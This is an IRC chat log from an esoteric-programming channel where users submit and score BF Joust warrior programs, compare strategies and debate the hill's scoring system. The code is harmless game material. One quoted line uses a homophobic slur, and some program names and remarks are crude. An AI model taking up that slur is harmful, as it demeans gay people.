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00:09:56 <Sgeo> Lubuntu is uncharacteristically slow in VirtualBox
00:10:29 * Sgeo burns quintopia
00:14:50 <cheater00> can a search or sort algorithm alone together with the actions of reading and printing/writing be used to build a turing machine?
00:15:21 <quintopia> there is a bubblesort based language...
00:16:57 -!- Mathnerd314 has joined.
00:17:18 <Sgeo> Maybe once I install Lubuntu on VirtualBox I'll be more willing to play with languages like Io
00:17:28 <ais523> cheater00: I don't see how you can make an infinite loop in it
00:17:35 <ais523> unless I'm missing something obvious
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00:20:39 <elliott> Gregor: quintopia: OK, lance will be done /tomorrow/ :P
00:20:54 <elliott> Once I figure out this stupid bug.
00:21:40 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
00:21:46 <quintopia> Gregor: i managed to submit tripwires before thd alarm went off
00:21:50 <elliott> 00:40:52 <Sgeo> Maybe once I install Lubuntu on VirtualBox I'll be more willing to play with languages like Io
00:22:05 <elliott> sgeo reaches new heights of incoherence
00:22:17 <Sgeo> elliott, I don't feel like fighting to get Io to work in Windows
00:22:31 <Gregor> quintopia: Uhhh, what does that mean :P
00:22:43 <Gregor> quintopia: Yeah, I saw.
00:33:18 <elliott> Gregor: You know what would be hilarious? Using a browser automation framework to use egojsout as egojoust 2.
00:33:50 <Gregor> s/horrible/abominatacular/
00:36:37 <elliott> Gregor: Abominatacular... is good!
00:37:06 <Sgeo> What current programs would break and die with flag=127?
00:37:30 <Sgeo> I'm obsessed with this. Twice the polarities, twice the fun
00:40:44 <Gregor> If you're considering it, you may as well go with 64 though.
00:43:28 <Gregor> !bfjoust return_of_ehird_defend8mwahahaha http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/raw-file/45e854b7a63c/ehird_defend8mwahahaha.bfjoust
00:43:51 <EgoBot> Score for Gregor_return_of_ehird_defend8mwahahaha: 24.7
00:44:00 <elliott> Gregor: I think that thing is ais523's defend8 reversed polarity :P
00:44:13 <Gregor> Then why did you win so much while defend8 wasn't?
00:44:20 <elliott> Gregor: I think that was before polarity X-D
00:44:27 <elliott> Gregor: Set up one of those hg repository viewers on the raw repo plz
00:44:31 <Gregor> egojoust is entirely after reversing I think.
00:44:42 <Gregor> elliott: Figure out the URL I just did geniuslol :P
00:44:54 <Gregor> Ohhhhhhhhhhhhhh, I thought egojoust was the first interp in EgoBot :P
00:44:58 <elliott> <Gregor> Fag fag fag fagging up the channel
00:45:01 <elliott> Gregor: How can you forget X-D
00:45:07 <Gregor> Then why did defend8 NEVER WIN X-P
00:45:20 <elliott> Holy shit there have been a lot of revisions.
00:45:25 <Gregor> Whereas defend8mwahahaha won a lot
00:45:37 <elliott> !bfjoust RETURN_OF_I_KEELST_THOU (>)*9((-)*128[-]>)*21
00:45:56 <EgoBot> Score for elliott_RETURN_OF_I_KEELST_THOU: 2.5
00:46:05 <elliott> Olds, not old winners/losers :P
00:46:18 <Gregor> Mine was an old winner.
00:46:21 <Gregor> It was a frequent winner in '09
00:46:22 <elliott> !bfjoust return_of_vibration_fool_fasting_because_it_is_lent_mathematica_edition >>>++++<----<++++<(-)*127(-+)*5000[[[>[(-)*43]+]+]+]
00:46:25 <elliott> Yes, I actually called it that.
00:46:28 <EgoBot> Score for elliott_return_of_vibration_fool_fasting_because_it_is_lent_mathematica_edition: 24.9
00:46:51 <elliott> How does that even work *looks*
00:47:06 <elliott> OK, sets up decoys, vibrates, and then goes and... does something insane.
00:47:16 <Deewiant> elliott: It beats space_elevator and wireless
00:47:25 <Gregor> !bfjoust return_of_Patashu_2_3weave (>(+)*23>(-)*23)*1>+>->->+>+>-(>[(-)*20[+]]->[(+)*21[-]]+>+)*10
00:47:28 <elliott> That's probably where it gets all its points :P
00:47:37 <elliott> Gregor: You realise we're going to remove all the good programs from the hill like this.
00:47:44 <elliott> Since they'll get points from each other.
00:47:44 <EgoBot> Score for Gregor_return_of_Patashu_2_3weave: 11.2
00:47:52 <elliott> !bfjoust return_of_pikhq_do_nothing >
00:47:55 <Gregor> elliott: Not with Patashu_2_3weave it seems :P
00:48:04 <EgoBot> Score for elliott_return_of_pikhq_do_nothing: 5.0
00:48:17 <elliott> Ah, ais' vibration_fool_faster was "+>>>++++<----<++++<(-)*127(-+)*5000[[[>[---]+]+]+]"
00:48:21 <elliott> So mine was just a trivial variation :P
00:48:29 <Gregor> Besides, there's nothin' wrong with a FEW return_ofs.
00:48:31 <Gregor> They shake up the hill.
00:48:43 <elliott> !bfjoust return_of_MixardX_mzx_fool >-[>-]
00:48:50 <EgoBot> Score for elliott_return_of_MixardX_mzx_fool: 0.0
00:48:53 <elliott> !bfjoust return_of_lament_what (-)*128
00:48:55 <Gregor> OK, but return_of_something_retarded is bad :P
00:48:58 <EgoBot> Score for elliott_return_of_lament_what: 8.4
00:49:15 <elliott> !bfjoust return_of_ehird_primewire >+[]<[.-]
00:49:33 <EgoBot> Score for elliott_return_of_ehird_primewire: 10.8
00:49:35 <Gregor> !bfjoust return_of_leonid__ugh ((>(+)*97>(-)*97)*2(>[-[+]])*4(<)*7)*59
00:49:37 <elliott> Trivial variation on ais523_tripwire >+[]<[--] :P
00:49:46 <elliott> Gregor: leonid's programs were just random crap, btw :P
00:49:48 <EgoBot> Score for Gregor_return_of_leonid__ugh: 10.9
00:49:56 <Gregor> elliott: That one was #1 once :P
00:50:07 <elliott> !bfjoust return_of_Deewiant_train (>-)*8>>+[[-][-]>+]
00:50:13 <elliott> Gregor: http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/shortlog/1dc46c4c5624 hurf durf shitty commit messages
00:50:14 <EgoBot> Score for elliott_return_of_Deewiant_train: 4.4
00:50:23 <Gregor> elliott: Yeah, I only improved them later.
00:50:31 <Deewiant> Dude, I submitted a lateish version of train when the hill size was expanded
00:50:45 <Sgeo> In Git, you could fix those commit messages!
00:50:53 <Sgeo> </actually-a-criticisim-of-git>
00:50:54 <elliott> !bfjoust return_of_fool1 [>[-(.)*64]-]
00:50:57 <elliott> One of the initial programs :P
00:50:59 <Deewiant> Yes, I found all my old stuff from my IRC logs
00:51:15 <Gregor> Deewiant: Everything that's ever been submitted is also in a public hg.
00:51:18 <elliott> http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/rev/d172832d3ed5 defend1!
00:51:18 <EgoBot> Score for elliott_return_of_fool1: 1.8
00:51:24 <Gregor> (Which I did not just make public now, I just added a web UI now)
00:51:31 <elliott> !bfjoust return_of_ais523_defend5 >+>+([{>[(.)*20-]+}]<..........-[++[[]<(-..-.)*300>[>[-]+]]]<(+..+.)*300>[>[-]+])%2000
00:51:42 <EgoBot> Score for elliott_return_of_ais523_defend5: 9.2
00:52:04 <elliott> !bfjoust return_of_ehirdiphone_lunge (>)*15(>(-)*128[+--+-])*30
00:52:08 <elliott> Writing BF Joust programs on an iPhone.
00:52:10 <elliott> I was one hardcore motherfucker.
00:52:10 <EgoBot> Score for elliott_return_of_ehirdiphone_lunge: 2.0
00:52:10 <Deewiant> Gregor: I know, but it's easier for me to type "grep 'Deewiant.*bfjoust' \#esoteric*' :-P
00:52:28 <elliott> http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/log?rev=ehird <-- these results are... lacking
00:53:52 <Gregor> elliott: See "more" button
00:54:00 <elliott> Gregor: Nice number of results per page :P
00:54:19 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:54:21 <Gregor> elliott: Yes, because I totally wrote the hg web viewer
00:54:43 <elliott> !bfjoust RETURN_OF_ehird_discourse ((+)*127(-)*127))*394
00:54:46 <elliott> Gotta love that invalid syntax.
00:54:46 <EgoBot> Score for elliott_RETURN_OF_ehird_discourse: 0.0
00:54:55 -!- comex has quit (Ping timeout: 240 seconds).
00:55:03 <elliott> !bfjoust RETURN_OF_ehird_isthisthingon >((+)*127>(-)*127)*8>((-)*128[-.]>(+)*128[+.])*21
00:55:12 <EgoBot> Score for elliott_RETURN_OF_ehird_isthisthingon: 18.3
00:55:16 <elliott> !bfjoust RETURN_OF_SLIGHTLY_OLDER_ehird_isthisthingon >(+)*127<+>>(-)*126<<->>>(+)*125<<<+>>>>>>>>>>[[-]>+]
00:55:25 <elliott> Gregor: SUBMIT YOUR OWN PROGRAMS TOO, SUCH FUN
00:55:52 <EgoBot> Score for elliott_RETURN_OF_SLIGHTLY_OLDER_ehird_isthisthingon: 2.0
00:55:54 <Gregor> Y'know, I HONESTLY wanted to know how that old program would do on the new hill :P
00:56:06 <elliott> Gregor: I'M AS CURIOUS AS YOU ARE.
00:56:20 <elliott> !bfjoust return_of_ehird_i_keelst_thou_allornothing (>)*16((-)*128.->(+)*128.+>)*11
00:56:23 <EgoBot> Score for elliott_return_of_ehird_i_keelst_thou_allornothing: 5.5
00:57:04 <elliott> !bfjoust return_of_ehird_telepath_homicider +++++++++++++++[>++>+++++>+++++++>+++++++<<<<-]>>--.<++.>++++++++++++++++++++++++.>>++++.<<<.>++++++++++.>.>-..<.>++.<--.<<.>>>+++++++++++.<<++++.++++++.<.>>>--.<++.<-.>-.<<.>.>.---.---------------------------------------------------------------------.>-------.-.++++++++.<<<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>--.>.<---.<+.>>.<--.>>++.<.<.----.+++++.<--.>>++++++++++++++
00:57:11 <EgoBot> Score for elliott_return_of_ehird_telepath_homicider: 7.5
00:57:19 <quintopia> !bfjoust space_elevator http://sprunge.us/fFAN
00:57:34 <elliott> !bfjoust return_of_ehird_telepath_homicider http://sprunge.us/hWDT
00:57:48 <EgoBot> Score for quintopia_space_elevator: 59.3
00:58:00 <EgoBot> Score for elliott_return_of_ehird_telepath_homicider: 7.5
00:58:21 <quintopia> because it beats anti_space_elevator
00:58:29 <Gregor> Wow, first time I've actually looked at space_elevator.
00:58:52 <myndzi> ha, did you have report logs after all gregor?
00:59:06 <myndzi> i see he implemented my 'trip the tripwire' idea ;)
00:59:12 <Gregor> myndzi: There have always been report logs, and they are publicly available (and always have been)
00:59:23 <myndzi> i couldn't find them in hg
00:59:33 <Gregor> mycroftiv: http://codu.org/eso/bfjoust/in_egobot/reports/
01:00:20 <myndzi> damn, this was in 2009? lol
01:01:10 <elliott> http://codu.org/eso/bfjoust/in_egobot/reports/report-2009-05-27-23-43.txt lol
01:01:15 <elliott> 436.001ehird_defend6_a_parody_or_just_plain_ripoff_question_mark.bfjoust
01:01:27 <quintopia> amazing how quickly anti_space_elevator dropped to the bottom of the scoreboard once i beat it >_>
01:01:59 <elliott> 18 90.03 15 myndzi_slowrush.bfjoust
01:01:59 <elliott> 12 72.02 9 ehird_the_unknowable_reversi_of_slowrush.bfjoust
01:01:59 <elliott> 19 60.39 3 nescience_shade.bfjoust
01:01:59 <elliott> 11 54.99 1 ehird_shade_needs_to_get_laid.bfjoust
01:02:02 <elliott> my ripoff names were awesome
01:02:04 <elliott> 10 51.52 -1 ehird_fucking_termoil_wants_me_to_term_oil.bfjoust
01:02:10 <Gregor> Wow, space_elevator is ... not all that complicated, actually.
01:02:13 <elliott> 4 36.84 -4 GregorR-L_pooper_scooper.bfjoust
01:02:27 <elliott> Yeah, defend13 is still more complex.
01:02:31 <Gregor> quintopia: I didn't believe you :P
01:02:32 <elliott> But space_elevator is frickin' huge :P
01:03:17 <quintopia> Gregor: how does one find particular programs using the web interfrox?
01:03:54 <Gregor> quintopia: I did it be checking it out and using the log, I only put up the web interface so I could make direct links to old programs.
01:04:20 <quintopia> Gregor: link me to nescience_creep?
01:04:27 <myndzi> ah, i missed what you were actually doing at first
01:04:37 <myndzi> i didn't remember creep made it to #1
01:04:42 <elliott> Gregor: This expands to [-[+[-[+[-[+[...[-]]]]]]]]]]]]]]] right?
01:05:03 <myndzi> slowrush beat everything on the hill at one point
01:05:07 <myndzi> until the optimization war with wiggle
01:05:11 <elliott> How can one make something expand to:
01:05:15 <myndzi> which i gave in on because i stopped to care ;p
01:05:24 <elliott> [-[-[-[-[-[-[-[-[-(20 of those)[+[+[+[+(20 of those)(etc.)[-]]]]]]]]]]]...?
01:05:33 <Gregor> quintopia: >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15
01:05:40 <myndzi> put another one inside {}
01:06:15 <myndzi> ([-{([+{[-]}])*20}])%20
01:06:18 <Gregor> elliott: That's ... not complicated ... ([-{([+{[-]}])%whatever])%whatever
01:06:28 <elliott> Gregor: Right, just realised.
01:06:35 <quintopia> !bfjoust return_of_nescience_creep >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15
01:06:42 <EgoBot> Score for quintopia_return_of_nescience_creep: 9.1
01:06:57 <myndzi> andhow is mine invalid and his isn't? ;p
01:07:05 <myndzi> then he's doin it wrong ;)
01:07:26 <quintopia> Gregor: it beat julius freezer! :P
01:07:27 <elliott> btw egojsout doesn't support ([)*n either
01:07:39 <myndzi> anyway, stuff inside {} shouldn't really cause conflict in any condition afaik
01:07:57 <Gregor> elliott: I know egojsout doesn't support ([)*n ...
01:07:59 <myndzi> so it ought to work even if it doesn't ;)
01:08:04 <myndzi> also gregor forgot a }
01:08:22 <Gregor> elliott: Tpyo'd, meant ([-{([+{[-]}])%20}])%20
01:08:23 <myndzi> while i didn't ;) but i accidentally typed * instead of %
01:08:42 <quintopia> Gregor: one of these days bf joust is going to be more popular than JESUS. also corewars.
01:09:03 <elliott> Gregor: now how do I make it [-[-[-[-[-[-[-[-[-(20 of those)[(+)*20+[+[+[+(20 of those)(etc.)[-]]]]]]]]]]]...
01:09:07 <myndzi> more popular? for a while still... better? not really ;p
01:09:09 <elliott> where each has (X)*20 in the first one
01:09:11 <Gregor> quintopia: The latter would be cool. The former will hopefully be due to a decrease in the popularity of Jesus and not an increase in the popularity in BFJ.
01:09:27 <myndzi> that is easy too elliot
01:09:33 <elliott> Gregor: Hopefully? That would be AWESOME
01:09:37 <elliott> myndzi: I just want Gregor to do all my work for me
01:09:52 <elliott> quintopia: I don't think bf joust has the same vibe as corewars
01:10:01 <elliott> can you imagine a "15-chars max" bf joust hill?
01:10:07 <elliott> like the 4-instruction nano hill corewar has
01:10:09 <Gregor> FYB was designed to have the same vibe as corewars *shrugs*
01:10:26 <quintopia> Gregor: buy FYB also sucks because it's broken.
01:10:35 <Gregor> quintopia: SO'S UR FACE
01:11:01 <quintopia> elliott: i think it could be more popular because it achieves the same level of strategerie while being a lot easier to pick up and start playing with.
01:11:38 <Gregor> We could make a beginner's hill, where every program submitted must, at time of submission, get last place on the normal hill :P
01:11:59 <Sgeo> How is it broken? The spec, or just the iimplementation?
01:12:02 <elliott> my program fails to parse but still wins
01:12:11 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128
01:12:14 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
01:12:20 <EgoBot> Score for elliott_interior_crocodile_alligator: 31.6
01:12:26 * Gregor is somewhat surprised that his client doesn't highlight "Gregory"
01:12:29 <elliott> elliott_interior_crocodile_alligator.bfjoust vs quintopia_space_elevator.bfjoust:
01:12:29 <elliott> <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<
01:12:30 <elliott> elliott_interior_crocodile_alligator.bfjoust wins
01:13:26 <quintopia> elliott: that's the same way that wireless_frownie beat it
01:13:32 <elliott> what, with a syntax error?
01:14:17 <Gregor> elliott: With what, lance?
01:14:34 <elliott> quintopia: wow, it turns out it's an... oscillator
01:14:39 <elliott> look at it in egojsout vs. defend13
01:14:52 <elliott> look at it when it gets that cell to 0
01:15:05 <elliott> defend13 is broken or something
01:15:23 <Gregor> defend13 has a tripwire, it frequently nops for friggin' ever.
01:15:42 <elliott> Gregor: lol but do that trace anyway
01:15:49 <elliott> it's hilarious seeing interior_crocodile_alligator get to zero
01:15:52 <elliott> and just chill for a while
01:16:19 <Sgeo> Some ad account for some crappy virtual world decided I was worth following
01:16:39 <Sgeo> My only relation to this virtual world is that I've visited it once or twice, and follow the twitter account
01:16:50 <Sgeo> I am really not worth following
01:17:02 <elliott> quintopia: Wow, look at where it loses with reversed polarity too
01:17:14 <quintopia> elliott: it's the (-)*128 thing that lets you beat defenders. makes you unpredictable.
01:17:21 <elliott> defend13's just like "haha nope, take this" and then goes back to clearing the cells tediously
01:18:32 <elliott> impressively though i beat definder2 on all occasions
01:19:01 <elliott> quintopia: it's sort of like a vibration
01:19:23 <elliott> and then a "reverse offset clear" :P
01:19:24 -!- Mathnerd314 has joined.
01:19:34 <elliott> so basically any prediction of its speed is going to be wrong
01:19:49 <quintopia> elliott: the giant offset clear is what allows defend13 to get your number on that one polarity. it has a special case for that.
01:20:02 <elliott> quintopia: it's not an offset clear, it's the same operation inside the loop
01:20:15 <elliott> it's not even an offset clear
01:20:20 <elliott> because it switches from [- to [+ in the loop
01:20:28 <quintopia> followed by whatever that otehr thing it
01:20:52 <quintopia> the giant offset is what lets defend13 figure out what polarity you're in
01:21:17 <elliott> quintopia: loool, do definder2 vs mine
01:21:24 <elliott> after it clears the cell just before definder2's flag
01:21:29 <elliott> it sits for an UNHOLY LONG TIME
01:21:57 <elliott> lol, then it gets fixed at 80 and just sits there...
01:22:58 <quintopia> i think the rule of the game is to be as unpredictable as possible
01:23:11 <quintopia> it's how wiggle3 managed to stay up there on the scoreboard so long
01:23:36 <Sgeo> It couldn't make it, because you murdered it.
01:23:43 <elliott> Gregor: 00:59:55 <oerjan> GregorR-L: btw i was thinking you could do ()* and ({})* without expansion by keeping a counter for each () pair (which may be allocated globally or in a stack manner)
01:24:25 <elliott> 01:13:29 <Patashu> defend6 and defend6aparody even get exactly the same matchups
01:24:25 <elliott> 01:15:59 <oerjan> Patashu: well ais523 claims it's paper/rock/scissors so someone should add some of whatever is the third type
01:24:25 <elliott> 01:16:46 <GregorR-L> "fool"
01:24:32 <elliott> quintopia: Gregor: BF Joust is rock/paper/scissors right?
01:24:40 <elliott> Three strategies such that every strategy has a weakness.
01:24:50 <quintopia> elliott: it's at least rock/paper/scissors/lizard/spock :P
01:24:51 <elliott> 01:16:50 <oerjan> unless this has happened because someone found something to break the p/r/s balance
01:25:12 <Gregor> elliott: I think I went with expansion not because I thought there was no alternative, but because I thought at the time that it wasn't important.
01:25:24 <elliott> Gregor: Yes. Indeed. You have no foresight!
01:25:34 <Sgeo> So just expanding them is a bad idea?
01:25:50 <Sgeo> What happened to those evolved BF Joust programs?
01:27:09 <elliott> !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64[(+)*65{[-]}]])%5>)*20(-)*128
01:27:15 <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 16.7
01:27:39 <elliott> !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64.[(+)*65.{[-.]}]])%5>)*20(-)*128
01:27:44 <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 31.5
01:28:12 <Sgeo> !bfjoust does_this_parse ([)*5(])*5
01:28:14 <quintopia> i've never bother to look up where the whole "2: electric boogaloo" meme came from...
01:28:23 <EgoBot> Score for Sgeo_does_this_parse: 3.5
01:28:28 <elliott> <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 31.5
01:28:44 <elliott> 29 25 32.06 -1.76 elliott_interior_crocodile_alligator.bfjoust
01:28:44 <elliott> 30 26 30.42 -11.55 elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo.bfjoust
01:28:47 <Sgeo> Are breakdown.txt's Mercurialed?
01:28:48 <elliott> -1.76, just one above -11.55
01:29:07 <Sgeo> Well, that sucks. Sorry elliott
01:29:17 <quintopia> by which i mean maybe, but i don't know how to get at them
01:29:35 <quintopia> and the evolved programs all fell off the hill because they sucke
01:29:54 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]]
01:30:01 <EgoBot> Score for elliott_interior_crocodile_alligator: 32.0
01:30:15 <elliott> Is that better or worse :P
01:30:38 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128[-]
01:30:43 <EgoBot> Score for elliott_interior_crocodile_alligator: 30.8
01:30:48 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128
01:30:48 <Sgeo> I shoud learn %
01:30:55 <elliott> Sometimes BF Joust does not obey the rules of logic.
01:30:55 <EgoBot> Score for elliott_interior_crocodile_alligator: 31.9
01:31:06 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]]
01:31:12 <EgoBot> Score for elliott_interior_crocodile_alligator: 32.0
01:31:27 <elliott> quintopia: So how do you do against careless programs now in the 'vator
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01:40:41 <quintopia> !bfjoust space_elevator http://sprunge.us/FJEX
01:41:38 * Sgeo refrains from putting in a silly program
01:42:06 <EgoBot> Score for quintopia_space_elevator: 59.6
01:42:08 <Sgeo> Oh come on, you removed z languages, then you have to remove a?
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01:43:29 <Sgeo> "board is 12 wide" how can you know that?
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01:44:17 <elliott> 01:37:58 <GregorR-L> Heh, I added a bunch of impomatic's back, and now ehird_defend8 is at the top :P
01:44:23 <elliott> 01:40:05 <Patashu> the bigger the hill is the more accurate it ought to be
01:44:25 <elliott> 01:40:14 <Patashu> there isn't really an objective metric of how good a program is
01:44:27 <elliott> 01:41:59 <GregorR-L> Yeah, and I like my score, it would just be tastier if it was a fixed point algo :P
01:44:29 <elliott> 01:42:57 <Patashu> (wins-losses)/number of characters in source
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01:46:03 <Gregor> I did want to find a decent fixed-point algo for the scores.
01:46:08 <Gregor> Never found one though.
01:46:54 <Sgeo> !bfjoust comment comment
01:47:03 <EgoBot> Score for Sgeo_comment: 3.5
01:47:17 <Sgeo> INFINITY POINTS
01:47:54 <Sgeo> Well, more like negative infinity. And not counting comments as characters
01:49:27 <quintopia> Gregor: you mean an iterative thing? something with an exponent that converges?
01:50:48 <Gregor> I'm not sure exactly, it's just that basing the scores off the points is one level of abstraction: You get a good score for beating programs that beat a lot of programs, but you don't get a good score for beating programs that beat a few programs that beat a lot of programs ...
01:51:14 <Gregor> If I could trickle points through further, but somehow guarantee termination ...
01:52:47 <quintopia> !bfjoust space_elevator http://sprunge.us/Ndhb
01:52:59 <EgoBot> Score for quintopia_space_elevator: 60.4
01:54:26 <cheater00> Gregor: what's an example of a situation that would not terminate?
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01:55:24 <Gregor> cheater00: If I just took my current algo and looped it, replacing "points" in the current iteration with "score" in the previous iteration, it not only would not likely reach fixed point, but would just push everything to useless extremes.
01:56:01 <quintopia> Gregor: use the whole inductive tree! compute worth for every pair by their score with each other. then for every pair of pairs using the worth of the previous level, then for every pair of quads using the pairs of pairs worth, etc. it'll take a lot of steps but it's all mindless arithmetic, so it should still be reasonably quick
01:56:16 <cheater00> no idea what you are referring to sorry
01:56:35 <Gregor> quintopia: Ohhhh, that's clever. Exponential, but clever.
01:57:06 <Gregor> Wait, is it exponential? I guess not, just fairly expensive :P
01:57:19 <quintopia> Gregor: it's not exponential time. it's like huge, but not exponential
01:57:38 <quintopia> Gregor: why did you decide that programs wouldn't be punished for losing?
01:58:01 <Gregor> quintopia: Losing is uninteresting.
01:58:39 <quintopia> but isn't it the "let's only reward them and never punish them!" mentality that keeps it from being fixed-point iterable?
01:58:58 <Gregor> Umm ... maybe? I don't think so, I think it will usually diverge.
01:59:11 <Gregor> That is, I think it will usually diverge whether you do or don't punish.
02:02:16 <quintopia> i have good news though! the canonical shudder program has been pushed off the board tonight!
02:02:32 <quintopia> good_vibrations is still kicking more ass than it has a right to tho :P
02:03:48 <quintopia> also, somehow, in all the madness, the turtles have now advanced ahead of the philips...
02:04:19 <quintopia> Gregor: did you see my sketch of philip the careless turtle?
02:04:36 <quintopia> or was it careless philip the turtle
02:06:49 <Gregor> Can't decide if he's more care-less or care-free :P
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02:13:03 <sgeo_> Moving windows around is a bit rough
02:13:18 <sgeo_> And this window doesn't have Win7 edges.. although that should be obvious really
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02:16:43 <quintopia> Gregor: why did you used to be GregorR-L?
02:16:59 <Sgeo> He used to have a life
02:17:14 <Gregor> quintopia: I was GregorR, and I didn't used to have a bouncer, so I'd be -L on my laptop, -W at work, etc.
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02:19:21 <quintopia> Gregor: i have another idea for a scoring system that should be a bit more stable.
02:19:36 <Gregor> The scoring system isn't unstable :P
02:19:52 <quintopia> well, listen to the idea first and tell me what you think
02:20:29 <Gregor> Yeahyeah, go ahead, just arguing with your adjective :P
02:20:57 <quintopia> for each tape length and polarity, rank all the programs in order based on how many programs they beat at that length, and then add up the rankings and divide by 42 to get the final ranking.
02:21:18 <quintopia> ties all get the highest rank possible
02:22:16 <quintopia> this would also let you generate rankings for "best on short tapes" "best on kettle" etc.
02:23:02 <Gregor> Yeah, but the whole point of the current score system is that it's more interesting if you beat /good/ programs than /bad/ programs, whereas that gives you just as much credit for beating garbage as gold ...
02:23:05 <Sgeo> Best on Kettle only is in terms of what the hill happens to be
02:24:27 <Sgeo> !bfjoust rush10 (>)*9(-)*128
02:25:00 <Sgeo> I'm sure it's been submitted before
02:25:04 <EgoBot> Score for Sgeo_rush10: 0.5
02:25:13 <Sgeo> Awesomly small score
02:25:54 <Sgeo> I won in length 10 against Deewiant_sloth
02:26:04 <Sgeo> Gregor_return_of_ehird_defend8mwahahaha.bfjoust vs Sgeo_rush10.bfjoust:
02:26:04 <Sgeo> ><><><><><><><><><><> >>><><><><><><><><><> >>><><><><><><><><><> ><><><><><><><><><><>
02:26:04 <Sgeo> Sgeo_rush10.bfjoust wins
02:26:14 <Sgeo> That's just fricken awesome
02:26:46 <Sgeo> Why does julius_freezer suck so much?
02:27:08 <quintopia> Gregor: not if you don't assign a linear value to the rankings. you can assign a fixed nonlinear sequence to the rankings, sort of like the scoreboard on WWTBAM...each harder program you beat gets you more points than the last
02:27:20 <Sgeo> I won against a bunch of ais523 defenders LOL
02:28:14 <quintopia> Sgeo: that's because you won on the shortest tape length and never triggered their trip wires on the long ones.
02:28:24 <quintopia> therefore drawing on all those rounds
02:29:08 <Gregor> quintopia: I'm trying to figure out how that differs from mine if you just assign based on points ...
02:29:11 <Sgeo> That's only for 10 and 12
02:29:12 <Gregor> Errr, that wasn't well put.
02:29:20 <Sgeo> and 7 and definder
02:29:39 <Sgeo> Against defider2, I won on length 11
02:31:35 <quintopia> Gregor: well the difference is that when you beat a high scoring warrior, its worth (and your derived score from it) are no longer dependent on what it's worth was in points, but merely on its ranking, and you can fix the value of each ranking to be whatever you like so it's not so unpredictable
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02:46:04 <Gregor> Wow, how has mapping_turtle went back above the philips
02:46:56 <quintopia> 21:27 < quintopia> also, somehow, in all the madness, the turtles have now advanced ahead of the philips...
02:48:06 <Gregor> I do not so carefully read backlog :P
02:48:11 <Gregor> In fact, I carefully don't read backlog.
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02:54:10 <Gregor> quintopia: Where's the poke explanation :P
02:54:25 <Gregor> I suppose I could make a micropoke *shrugs*
02:55:31 <Gregor> !bfjoust micropoke (>)*9([ (<)*8(+)*85<(-)*85(>)*9 ([-]>)*21 ]>)*21
02:56:27 <EgoBot> Score for Gregor_micropoke: 14.1
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02:58:27 <Gregor> It's stuck in the middle :P
02:58:39 <Gregor> I was thinking that more complicated strategies should be later.
02:59:46 <quintopia> the whole bottom of that section was about rushing styles
03:00:25 <Gregor> Yeah, so poke should be AFTER all of those (IMHO)
03:00:26 <quintopia> maybe "clearing" should be its own section
03:00:30 <Gregor> Or maybe those should all be com---yeah
03:02:01 <quintopia> we could subdivide the attack section into "beginning game" "midgame" and "endgame" sections
03:02:23 <quintopia> beginning game is rule-of-nine, poke, decoy placement order
03:02:48 <Gregor> Think of it from the perspective of a reader: What you really need is things that are easy to understand, then why those fail and more interesting things, all the way to advanced strategy, regardless of where those fall in a game. I think.
03:03:05 <Gregor> s/a reader/a newbie reader/
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03:10:01 <quintopia> Gregor: nah dog. that's disorganized. they should be arranged in order of complexity, sure, but we can subdivide and still have them arranged that way in each section
03:10:32 <quintopia> so a noob can read the first part in each section and instantly put together a warrior
03:10:50 <quintopia> and then read down further in each section to make it better
03:11:06 <Gregor> I'm wondering how confusing it would be to order it end game, middle game, beginning.
03:11:15 <Gregor> Since the end game is what newbies will understand the best.
03:11:46 <Gregor> Why do I have to go fer it, it was your idea X-P
03:12:09 <quintopia> i'm on my phone and about to shower. maybe later.
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03:20:59 <Gregor> Mmmmm, sugar-acid-water.
03:26:57 <Gregor> The news crew feels the heat wave from the magic balloon. Levies from liquid petroleum fire sumo are hotter than mashed potatoes, making them much hotter than boiling lava, making them very stupid.
03:45:54 <Sgeo> I have a weird imagination. Except for fantasies, my internal stories are never set in the real world
03:46:49 <Gregor> quintopia: A YouTube Poop :P
03:47:01 <Sgeo> The central character (me most of the time) would be too Mary Suish
03:47:05 <Gregor> Part of the series which collectively is the canonical YouTube Poop
03:48:24 <Sgeo> I'm the first to fight God in one of them, and lead a virtual army in another
03:49:15 <Gregor> quintopia: Step one, watch source material: http://www.youtube.com/watch?v=bNpLXo55yfw , http://www.youtube.com/watch?v=9mHw5g55oC4 , http://www.youtube.com/watch?v=-Dv_DXqdC9k (there's TONS more source material, but these are the important ones)
03:49:34 <Gregor> quintopia: Step two, BEHOLD WHAT IS DONE WITH IT: http://www.youtube.com/watch?v=Kq_mk9QisP0
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04:01:35 * Gregor wonders which part quintopia is to and so wtfing at :P
04:02:16 <quintopia> you know what they say..........about.......its wtfness levels.............................
